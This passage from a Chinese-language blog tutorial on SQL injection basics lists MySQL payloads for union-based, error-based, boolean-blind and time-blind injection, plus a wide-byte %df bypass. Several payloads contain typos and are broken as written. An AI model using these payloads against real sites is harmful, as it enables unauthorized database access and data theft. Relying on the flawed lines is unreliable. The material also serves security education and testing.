show columns from users的结果就是来自这个表
下面就是利用以上的3个表来获取数据库的信息。
select database(); #查选数据库 select schema_name from information_schema.schemata limit 0,1 #查询数据库 select table_name from information_schema.tables where table_schema=database() limit 0,1; #查询表 select column_name from information_schema.columns where table_name='users' limit 0,1; #查询列
sql注入类型
sql注入类型大致可以分为常规的sql注入和sql盲注。sql盲注又可以分为基于时间的盲注和基于网页内容的盲注。
关于sql的盲注,网上也有很多的说明,这里也不做过多的解释。关于盲注的概念,有具体的例子就方便进行说明。
延时注入中,常用的函数就包括了if()
和sleep()
函数。
基本的sql表达式如下:
select * from users where id=1 and if(length(user())=14,sleep(3),1); select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);
宽字节注入
关于宽字节注入,可以参考宽字节注入详解。宽字节输入一般是由于网页编码与数据库的编码不匹配造成的。对于宽字节注入,使用%d5或%df绕过
mysql常用语句总结
常规注入
1' order by num # 确定字段长度 1' union select 1,2,3 # 确定字段长度 -1' union select 1,2,3 # 判断页面中显示的字段 -1' union select 1,2,group_concat(schema_name) from information_schema.schemata #显示mysql中所有的数据库 -1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) # -1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 # -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 # -1' union select 1,2,3 AND '1'='1 在注释符无法使用的情况下
双重SQL查选
select concat(0x3a,0x3a,(select database()),0x3a,0x3a); select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables; select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #这种sql语句的写法,常用于sql的盲注。得到数据库的信息 select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #得到数据库的表的信息 #利用姿势如下: 1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+
这种利用姿势是通过mysql执行sql命令时的报错信息来得到所需要的信息的,在接下来的文章中会对这种写法进行详细地分析。
bool盲注
1' and ascii(substr(select database(),1,1))>99 1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90
bool盲注就是根据sql语句执行返回值是True或False对应的页面内容会发生,来得到信息。
time盲注
1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) + 1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+
上述的2种写法都是等价的,time盲注余常规的sql注入方法不同。time盲注需要一般需要使用到if()
和sleep()
函数。然后根据页面返回内容的长度,进而知道sleep()
函数是否有执行。
根据sleep()
函数是否执行来得到所需的信息。
总结
以上就是sql注入之必备的基础知识,接下来的文章将会通过实例详细地讲解sql注入中的知识,今天的这篇文章也主要是作为一个基础知识。对sql注入感兴趣的朋友们请继续关注哦。
更多SQL内容来自木庄网络博客